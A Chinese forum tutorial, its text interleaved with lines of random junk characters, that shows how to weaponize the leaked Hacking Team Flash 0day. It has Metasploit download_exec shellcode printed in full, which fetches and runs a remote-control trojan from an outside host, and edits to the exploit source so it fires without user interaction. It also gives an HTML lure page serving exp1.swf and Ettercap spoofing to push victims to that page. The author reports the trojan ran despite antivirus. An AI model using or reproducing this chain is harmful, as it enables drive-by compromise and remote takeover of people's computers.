|
! [, m* _$ g! j* n/ y( T( ^ 三、flash 0day之手工代码修改制作下载者实例入侵演示 8 b2 H+ N2 K' f1 G. X3 f) r
; I/ I0 _7 }9 T# ]* B
' ~! I% V5 ^/ M
利用到的工具:
3 z, C- T% Y x, | d
$ s) ^% A* F. t7 ?3 J8 u' J$ ]: t& F/ x
Msf
; o1 o% K) V6 M$ M8 X! D# |" z , T/ B$ n) x: y# e$ I: c
5 p+ p! E& Y, _/ O% w
Ettercap
9 G$ s; U# h `, q, P$ w5 O9 z 2 E3 w7 `" T, R, N' z+ G
" K2 Q& @5 e# J/ }! H Adobe Flash CS6 0 H% L3 L5 x( K3 z+ U$ _
% s5 \5 L, |/ d) c; _
1 b `9 ~; s/ I9 b Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
& g `0 n: d( w" m4 I" U- u6 X( E
1 o K: f7 W* Q4 x3 H- j0 l, S- x% b5 u; Q& w; B
下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options
$ h( m8 X- h% g5 l1 J ) D3 H9 Z! \" s3 r2 i2 [; j* e
6 C; |' f! x, h! Z* v8 O
如图: ' b9 ~ t" N9 U4 w4 Y0 v! Y
$ n2 c" c- Y! G8 S: W) `/ E& l3 ~
& K" c/ }9 K; q3 a& | 8 t: ], B+ |# L* ~3 I. P4 L
* m. a* o% j. E- v5 W2 k
) Q# }3 Q, v; k
4 K, x5 Q0 r0 k% j! e0 L) o, b' T3 X
# Z) m" k0 c, {. d
/ k! d& h! i/ s' t/ X 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图:
~9 R) [5 t2 T8 ^
9 e( L. ^; v* q; t8 j8 r
J7 w5 V8 u' H+ B1 L 5 ?5 ^4 j F4 I, h
3 T5 x; R3 n% T: O" E3 U( J( f2 K7 A0 l8 z# C7 ]1 O
& A+ f9 _$ c/ [/ |
. z8 p0 u" i* [5 d' u& o5 T7 e& c, ^9 s" {* g0 d
然后执行generate -t dword生成shellcode,如下:
5 z! D8 B! Q; i# J, X ; F, |( g: e$ t
0 B, Z& j6 s& p
1 z0 ^ s, o! Z
4 p$ C# F) t9 L; v6 k* R1 J$ w5 i' ]' t9 @
复制代码到文本下便于我们一会编辑flash exp,如下:
. F; }' s9 y/ s 1 F4 i6 F7 y+ ^) i0 M$ U% N
, C" g) }7 A) ?+ ?3 M7 _: I
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,
, d6 F+ }! l0 R% d/ X( p # c3 O1 n* B7 Q& b L9 E/ r* |
4 a! R; D; y" c: W7 u
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, : m4 K7 X' Z# P
. T5 w, \: F: M% K {* C( g1 n B( w4 N+ y2 |: o8 E
0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038,
4 s9 v. R4 ~8 T4 b4 }
1 M: ~! ~7 z& C7 ]$ j: b2 i: D2 `8 L3 x, D: z g
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,
! s- }! D6 L. d8 d% D0 Z
! H1 }" W! z. s x" v
/ N# j/ Q+ t5 R/ K 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
, j" a9 d0 g: R# {3 }, K. ^
; U2 U* y" I3 E7 U5 U7 g9 s( ^# I( ^# i `6 B7 E2 U+ x1 _* c
0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,
( t8 H/ P9 v+ n" O' V2 T! G; h/ Z$ W % Z, i( F6 F: m) }9 E- b, e
$ z4 E5 Z- R5 D7 v; S/ } 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e,
. x" ?3 Q: b5 }$ Q5 |. C' ~ ; F+ ~: e, L, ?1 l. p# R+ ?
. X2 l+ J4 E" m: ]6 H 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757,
' {, O% W h1 g2 g# w ( o' x( E+ y1 N1 Q4 G4 p, x
9 B* f" I! E7 o: o4 p
0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,
1 j+ B/ [) l% B' r' m 5 ~" g% W4 I. ^/ _
- q0 [* w% n3 p" f3 a! c* g% N
0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
; S" w5 {( r4 }9 ~" M6 e+ b7 r2 x
( }8 j, f" W. ~3 p# P
- p1 R/ ~! d0 @; u' T' |1 @ 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, ; t2 I6 v" a9 x# B' p# O
: e1 B9 _+ a! [' n8 g, Y' @
, ^) M6 S$ s9 U 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, & E3 }% J0 D0 J
* t. f8 O* g B0 c* T3 B
, R/ s5 ]7 o( w 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973,
' Z9 ]2 \' ~6 v1 S3 L' Q/ p # m1 v' J/ u. E$ a+ f6 V- p |
4 ~$ f8 i. |8 E# a+ M5 m( i+ `
0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000
1 G/ I' K8 q$ u. [; \
5 ?! ~; E% f2 N( t1 W3 }5 M6 u
( x" v& m+ U+ @/ f! c5 X# M8 W 0 E3 o9 x: z( C5 t6 V
* y; ]$ n* A# h: d. y9 \! Z5 L' q8 Q/ t7 f' H- B$ r
; }1 Z m" U$ H8 a7 k ( M: @: _0 B6 i2 E$ Z
: d! \6 h O7 G6 |: J/ @
下面我们来修改flash 0day exp,需要修改三个文件,分别为:
& \: ]) h- Z; x+ n
0 j/ b1 `! t) ?: p2 [
: p5 x) Z' U9 |- m/ b6 J- V
# l# \1 j! C3 n) F0 ?. g6 |( z9 K
! [5 c# f) `' ~ G& K: O# G) G4 _6 d6 l; g! q- ~: a) W
先修改ShellWin32.as,部分源代码如图: d& g+ }; f, M
- ]& f0 |; q0 M5 y$ j9 G8 X- k5 R8 g' g- y# r$ d. ?
8 G, b" N& i7 S: \
& [6 t4 L* u& m K
% v* p$ z. U9 j+ ~0 Q 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: & X5 R0 [( x' J b" c
5 {" _/ C6 }6 E& T x$ c, L5 ]* Y4 n
* ^; }, f# e* i8 x% Y+ F4 P5 c2 j
3 [4 F; g$ o1 ]3 f) S4 l( N
# d- j/ R4 g' I7 H% A0 @7 d! ?) U3 K, P0 n
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图:
) J6 r; S/ e" n% V2 R ! c! b; c9 \/ `( ]" ~- Q5 G
4 J2 i7 k, D8 B2 G 7 U- J! g: v' o% w, S8 w i5 r
, w/ H3 U( T- O3 `4 A* a( f: z# L6 Z5 P/ z! ]* p
换行在后面加一句TryExpl();注意是l不是数字1,然后如图:
" y5 f/ ~ Q: f! W" P( n% {9 o; q
, V$ I) x( e4 B* m" f, J7 w( \% S/ e' w/ A* a) V$ g2 x
8 k! s. Q0 P/ a
- j2 u6 Q' k) h8 ~
6 Z0 V6 w0 z8 N2 X! X' S+ [* U1 ?
- R9 h- S8 J+ n7 v% ~) s
& q {/ q, S0 U" h! y
6 z% O6 S4 U E5 j( `& _/ c% b! E
+ Q ^) b4 ]$ f! P, l# M 6 k' x. D4 `/ c6 l' F
2 k* R a9 O& N5 A$ _% {# g o 然后点保存,下面我们来编译一下,打开 . A+ K! e8 @1 f% B/ Q6 C
" @3 ^2 z6 N1 ?9 E4 |7 _1 H0 b% A5 ^" O+ q$ d
exp1.fla然后点文件-发布,看看编译没错误
L; G. p+ x! p. J) h' o1 d- h . r, W! d+ h, y# Z
0 h s3 V7 z( _2 D# y7 @* g4 g
1 ]$ c% e w7 v3 w% H$ d
/ U4 f4 h; ]$ ]. p. c' G
; I9 H, X! b' b5 d$ o
& I9 j& E. ~* v ]. f; y* f& Z* E ' w$ Q9 |, ]$ I3 l+ {% o
8 J7 U2 J, v3 H # y" d3 v9 k" A: F1 ] i
2 i, e3 o1 w3 ^6 z+ C; R8 D
9 `& T+ I3 I1 |5 @
" t* G. p, D8 d8 E/ E/ w
) k1 ~8 K1 @& T; T
& i6 [: l) m2 I2 ] J
然后我们把生成的 + G, q: M7 }- G7 h2 J: u" R
1 `8 c' g J0 |% I- G1 t b; o
! U" x, w' a0 l9 g exp1.swf丢到kailinux 的/var/www/html下: H% Z8 Z# N; g$ _% O( |* t0 U, m* {
9 K" V6 o. T8 a
* r3 c7 X( z7 d( q 然后把这段代码好好编辑一下 * k7 }( m9 W# ~5 {- ]! r
9 |3 _' ^. w, E
, H' R+ j4 s7 I
" f! J6 C W: c* r' h& b, s 5 R2 \! a) w3 G. \2 E$ v, D
$ ]! o, k9 Q. G3 d/ \( ]% ^
( A( Q0 N6 n" M: o- V! S 0 n% V& s8 L8 k9 x
7 w+ [' u1 K0 L( S3 [, _& E9 A
# j' Z7 t& O# C) m
- _7 I0 o* }7 E, |$ a% e
% W' ~# N$ n- L* ]
8 Z. D0 H4 r) u8 x( D+ b& n$ {
9 _ A3 H' x1 s8 A& S
: w3 x W% V7 X9 q5 H
$ o! f4 u$ c' c6 f& p' \; E 2 w: ~# \* q; |% i U$ O! A- i: q
, U8 W+ r0 Y: ^: X9 v: ~
2 v% r( ]) O4 i' y$ a2 T$ ~- ^
6 z4 D, f1 {1 m" @; Z# @
8 N( M- S% B1 ^- b( @$ p, m& ^3 i <!DOCTYPE html>
" x3 z) R6 I+ Y" ^
5 M8 L1 h6 l& S& _( s! x7 |7 W! |5 B+ V1 w( d- Y Q2 ?5 S
<html> * h% r: b6 l2 @
) y$ ?+ D7 \6 B: W) U
& n& C* R) A8 H, L0 d2 b+ Z <head> 6 L2 \3 v) J8 }' O# x( h7 }: g; [
: q" G: `5 }- M
* ]/ `, E8 y8 [& y <meta http-equiv="Content-Type" content="text/html; 1 c9 s: K' e$ P+ t
; ~3 O4 h* d6 v$ T i
$ C2 Y2 _. n! { charset=utf-8"/> 8 L* P1 {: H8 i5 ?+ Q1 i* E& C1 g
" h. R* R( d$ N: x, l
4 J x- i4 }3 Z* } </head>
" X( V2 R3 T/ ^6 x4 k, y3 K 1 z: |/ t" C8 Z/ _5 u1 O2 D; n# e
! n/ i5 t* @7 c7 p4 v" p3 N <body>
" t" T6 s f5 Z& g8 `
4 E, R M0 r) t D0 K1 O, W* F% l" F# L2 X
<h2> Please wait, the requested page is loading...</h2> ) q. s3 A+ ]& [ ]
( w: g* M3 K, m' p% E: n
. j# O( ]7 f+ l4 z
<br> 7 r4 |$ b6 z( @3 A( Z+ y( f2 `
. a! ~" }; V% @) w% A) L6 R- [9 Z
" B# ^0 X5 G; m: e% ~2 N( H9 M( j <OBJECT
- W& ~- k; X7 z% a M: G- Q7 y
4 H( I% N1 M1 k" H" _
' W! v. ~, G# F D( z( n classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie ' u/ B+ |3 [' T5 s }
x; y/ w) r9 @& G% ?0 E8 ?* V/ m
& A) _ r* \1 `4 p7 D$ ?2 V. V VALUE="http://192.168.0.109/exp1.swf"></OBJECT> 7 {- R3 C0 `1 r4 K( [
* W0 S$ }- \1 w7 o" c1 N
7 G. R y4 U( T3 k1 a </body> / v6 X R o$ G' ~) F9 v2 m
7 ] s ~% w( g4 Z6 m6 \( U
- g0 Q+ d9 f9 ]4 y7 o: m. `
<script> " e& b; I4 X. t) u: S2 _
* `, ~* a1 R c6 R
, r. M6 Z9 ~$ Y& R& J$ z% { setTimeout(function () {
0 Q) b* N$ a _* Y6 F
) j! ~" E0 s- ?, R* X9 a& B" ~! a. T" Z- V8 p4 t) `
: A/ x" g$ K6 W% D9 b; F
! N6 T# M' Y5 |5 q% w& U4 x3 \
0 R0 R' X n' U; r$ K" j window.location.reload();
" T& @' W# p, {2 I- A/ x/ l
e% z" h% {" Z1 g M3 o1 _, F0 J. R* x3 @0 K( I
}, 10000); ! Z _1 l! w) G. u- ^3 h) Q
" c6 t4 O$ `& s
3 ?1 V8 c: B( V8 L, q* X3 t ( S( H- d' n! Y
3 H3 n& ?# s$ ?2 [( S+ `- u9 m0 F: N O( A1 G+ s# x* I
</script> - F+ @( s2 }# Y( S' ?
( D9 M( ?4 M/ u: j+ p. U+ j- ~9 e7 z6 M
</html> ( {/ A! t7 l& t- \1 N6 F( `/ b* L
! a8 t, l; Y4 d* Q& l7 m( S* b$ `
7 T8 r6 J8 x8 e- Q4 ]! W& @
0 ?# x% S! I9 C0 j) E- P8 t
9 b+ P5 G' t7 y8 l B1 q; ?2 \2 G! N
注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图:
/ H+ c, \' I' |$ Y( f t2 Y # H( [1 r2 J* g2 E3 n- P! [
* J- T6 n% v) s
2 W8 P* Z5 c+ M( f. F9 ?3 i! L: n
7 p6 s' _$ g0 w* K+ y) l
: V" a; m: g# f/ |6 U ; V9 p5 _/ U# H- f: P- R+ r( ]
$ d C4 r+ |; h9 N: L0 X
8 M" w' Y" p5 `+ Q% n
$ T b& G6 g3 Y' Z0 F' d( S 8 \# u$ V$ I' l9 F: o T: w
! i7 I9 g/ M9 E4 x6 N . e6 S! b; @& |- A4 g" i
" i; X: @: [" M7 [" `9 Q3 |: u9 T
( ]) @( N T' I* b% F0 D# I9 n
- e$ U% ^" y' D( R( Z# \ ) a9 w% _+ K- U5 |4 s5 q
$ }3 L2 _8 T% ]2 x
下面我们用ettercap欺骗如图:
6 i; M4 l, i) K. y" \2 d
, g3 K v0 ^ r) u4 K- g& K4 T, @! S/ P# i: s9 k' Y" O
; c* f* r0 m w) j r4 ` v 8 p$ v B: h- K
4 s- c! @+ E) [9 b3 k" j
6 j% M, j2 f1 d R: L
/ ]3 p9 P }5 y1 ]
: N/ `4 _2 T# V 下面我们随便访问个网站看看: % W! _3 s4 V9 F2 o) y9 `
/ j# z+ N, e D! f) Q& d9 M9 O \
g( B) N7 W2 L5 h( m! W( w" J
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图:
# I: }! ]2 s# \* y2 U% A$ k5 N 0 U/ ?, F' M9 q5 k3 X
1 E; [+ U% b8 |7 z0 D
# X+ s9 Q7 `, e
- \3 f; r& b5 \6 ]/ H) ]' s. B( K( O3 Y7 l- t8 }9 X7 L
我们看另一台, + Z( f& Y! d/ c7 e% k, F
* s* ^6 f8 L$ ] P7 j( j* W
* O- H9 }) g, @9 F
提示这个错误,说明木马是成功被下载执行了, 只是由于某些原因没上线而已。。。
1 P$ B. C! S4 M# _% f8 O6 e |